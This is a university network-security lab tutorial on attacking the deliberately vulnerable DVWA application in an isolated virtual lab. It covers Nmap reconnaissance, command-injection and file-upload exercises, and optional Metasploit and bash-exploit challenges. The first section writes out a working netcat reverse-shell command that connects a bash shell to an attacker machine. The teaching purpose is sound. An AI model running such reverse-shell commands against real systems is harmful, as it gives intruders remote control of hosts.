Network and Web Security

Tutorial 4 - Server-Side Web Vulnerabilities*

February 5, 2024

In this tutorial we explore server-side vulnerabilities, as covered in module 14 of the course. In particular, we'll be attacking a server hosting the Damn Vulnerable Web Application (DVWA), an educational tool deliberately designed to contain different examples of server-side and client-side web vulnerabilities.

1 Creating a reverse shell

In module 5 (Pentesting) we surveyed post-exploitation techniques. A common way to *maintain access* to a compromised host is to use a *reverse shell*. This indeed could be a useful tool for your pentesting experiments.

1. Listen to some tcp port on `kali-vm`: `nc -l -p 40666`
   This is where you will send commands to and receive output from the remote shell.
2. Start `password-leaker` and log in using some cracked credentials.
3. Open the reverse shell by telling `netcat` to start a shell and connect to `kali-vm` on the port above:
   `nc -e /bin/bash 10.6.66.64 40666`
   This way, `netcat` will send the shell output to your server, and send your server messages to the shell, as inputs.
4. Type some commands on the `kali-vm` netcat window, and they will be executed as if they were typed in the `password-leaker` shell. For example, try: `whoami; pwd; ls -la /`

You can now safely switch off `password-leaker`, as we will not need it anymore for this tutorial.

2 Setting up the `dvwa` VM

Copy the `dvwa` virtual appliance, which can be found at `/vol/co331/VMS/dvwa.ova`, and which contains an installation of the exact DVWA version we refer to during the tutorial, plus some customisation necessary for the exercises below. Import `dvwa` in VirtualBox and attach its adapter 1 to the `dirtylan` internal network, then boot both `kali-vm` and `dvwa`.

3 Gathering information on `dvwa`

As discussed in the Pentesting module, and practiced in Tutorial 3, it's often useful to gather information about a host we plan to target: what operating system it runs, what services are listening on its ports, and which pieces of software are offering those services. In this tutorial we're exploiting a web application hosted on `dvwa`, so we're particularly interested in any web servers we notice running on it.

Use Nmap to discover:

*Thanks to Chris Novakovic for preparing some of this material.

- what `dvwa`'s IP address is (hint: it's configured to use a static IP address, so there's no DHCP traffic to observe in Wireshark this time);
- which operating system it's running;
- which piece of web server software (and which version of it) is being used to serve content;
- which version of PHP is being used to execute PHP scripts hosted on the web server.

1. Why do you think Nmap's deduction of `dvwa`'s operating system version is so broad?
2. Can you find a more cunning way to deduce `dvwa`'s operating system version which is likely more accurate than Nmap's method? (Hint: Nmap provides you with the information, but isn't doing anything with it...)
3. How could the administrator of `dvwa` make it more difficult for an attacker to discover the information you just found?

4 Finding vulnerabilities in DVWA

In the slide *Server compromise attack tree* of module 14 we considered several options to attack a server. We now attempt to *Compromise the server via the web application*. Find and exploit two categories of vulnerabilities in DVWA: *command injection* and *file upload*. If you succeed, you will be able to read a file we've hidden on `dvwa`'s file system: it's up to you to find it...

Solutions to the DVWA challenges can be found by searching online, but you are strongly advised not to do so. Even if you can't work out a solution in the lab, it will be more valuable for you to work it out later on, for example during revision, rather than just to see how somebody else solved it.

1. In `kali-vm`, visit `http://<dvwa ip>/dvwa/` in either Chrome or Firefox.
2. Log in to DVWA with the user name `admin` and the password `password` (these are the DVWA defaults).
3. From the left-hand menu, select either **Command Injection** or **File Upload**.
4. The part of the web application that you need to exploit is in the box with the solid black border; the PHP source code for this part of the page is shown when you click the **View Source** button. For each category, exploit a vulnerability in DVWA's PHP code that causes it to output the contents of the file we've hidden somewhere on `dvwa`'s file system.

To help you learn how the PHP code works, you might want to enable Burp's proxy or use either Chrome's DevTools pane or Firefox's Web Developer Tools (both activated by pressing F12) to see what HTTP requests the browser issues and how the web server responds to those requests. If you need to modify a request from the browser before it is delivered to the server, you can do that directly in Burp, or you can copy the request from the browsers toolbars in the `cUrl` format, which you can then edit and send from the command line using `curl`.

Here are some resources you might find helpful along the way:

- If you're unfamiliar with PHP, the PHP 5 Manual provides information about the basic syntax and semantics of PHP and an index of its (many) built-in functions.
- The OWASP PHP Security Cheat Sheet contains a comprehensive list of common mistakes that programmers make that introduce vulnerabilities into their PHP code, along with ways attackers can exploit those mistakes.
- Have a look at the cheatsheets posted on edStem (post #48) for help on shell syntax.
- `dvwa`'s operating system uses the GNU Core Utilities to provide the standard Unix command-line tools; the manual for each command can be viewed from a terminal in Kali (e.g. `man cat`).

On our VM, the default security level for DVWA is set to *low*: on this level, the PHP code contains no security countermeasures and is vulnerable to a number of attacks. Higher levels contain some security countermeasures, but they're imperfect, and can be bypassed. After you manage to exploit a vulnerability, increase the security level and try to find and exploit a vulnerability in the new, more secure version of the code:

1. In DVWA, click **DVWA Security** in the left-hand menu.
2. Under *Security Level*, choose one of **Low**, **Medium**, **High** or **Impossible**, then click **Submit**. The new security level will take effect for all categories.

For this tutorial, the *Command Injection* category is completed when you manage to find and exploit a vulnerability in the code for the *high* security level, and the *File Upload* category is completed when you manage to do the same for the *medium* security level.

1. How could the command injection vulnerabilities in DVWA be fixed?
2. How could the file upload vulnerabilities in DVWA be fixed?

Compare your answers with the source code for the *impossible* security level for each category: DVWA's author claims that this code should contain no vulnerabilities. If you find a vulnerability in the code for the *impossible* security level, report it to the developers for fame and glory!

After you've managed to trick DVWA into leaking the contents of the hidden file in both the *Command Injection* and *File Upload* categories, you've completed this tutorial, and can stop here if you like. If you want to automate your exploits against DVWA and do more damage than just displaying the contents of a file, keep reading…

5 Automating your exploits with Metasploit (Optional)

Metasploit is a software framework for penetration testing. It contains an enormous database of *modules*, reusable libraries of Ruby code that fall into one of two categories: *exploits*, which target known vulnerabilities in services (many vulnerabilities listed in CVE have Metasploit exploit modules publicly available), and *payloads*, which perform some malicious action (usually offering some functionality useful to an attacker, such as a shell). There's a searchable database of Metasploit modules at `https://www.rapid7.com/db/modules/`.

Metasploit attacks a target host by using an exploit against a service that, if successful, delivers a payload; both the exploit and payload can be chosen independently by the attacker. Compatibility of exploits and payloads varies. Some exploits only work against services running on certain pieces of hardware or operating systems. Some payloads are generic enough that they can be delivered using most exploits; others require the chosen exploit to be capable of writing a minimum amount of data so the payload can fit inside. The holy grail of Metasploit payloads is *Meterpreter*, a powerful command-line shell that resides completely in memory, making its existence hard to discover after it exits. A module's page in the Metasploit module database will describe the module's compatibility.

Metasploit comes pre-installed on Kali; you can start the interactive console by running `msfconsole` in a terminal. Offensive Security offers a brief overview of `msfconsole` at `https://www.offensive-security.com/metasploit-unleashed/msfconsole/`, as well as an in-depth guide to the commands it supports at `https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/`.

After you've familiarised yourself with `msfconsole`, here's your challenge:

1. Write one of your exploits against DVWA as a Metasploit exploit module.
2. Use your exploit module in `msfconsole` to deliver a payload (ideally one that delivers Meterpreter) to `dvwa`.

To get started, it might be helpful to look at an existing exploit module in the Metasploit database that targets a similar type of service in a similar way and adapt the code for that module to your needs; for instance, `exploit/multi/http/phpwiki_ploticus_exec` exploits a command injection vulnerability in PhpWiki 1.5.0.

6 Exploiting the server

Back to our *Server compromise attack tree*, we now attempt to exploit a vulnerability in the server itself, resulting from both its configuration and the software it is running. Your goal is to open a reverse shell on `dvwa`, without exploiting the DVWA web application. But first you should have done Section 4 of this tutorial, as the access you gain there may help you in gathering useful information. And you should also have revised the course slides...
Here are some hints for you:

- Find out what else is served from `dvwa`.
- Find out what version of `bash` is running on `dvwa`.

Once again, the problem is that patches for a know vulnerability were not applied. Just like in the *real* world.

7 This tutorial not enough for you? (Optional)

Then find another *really hard to get* file on the DVWA 😈.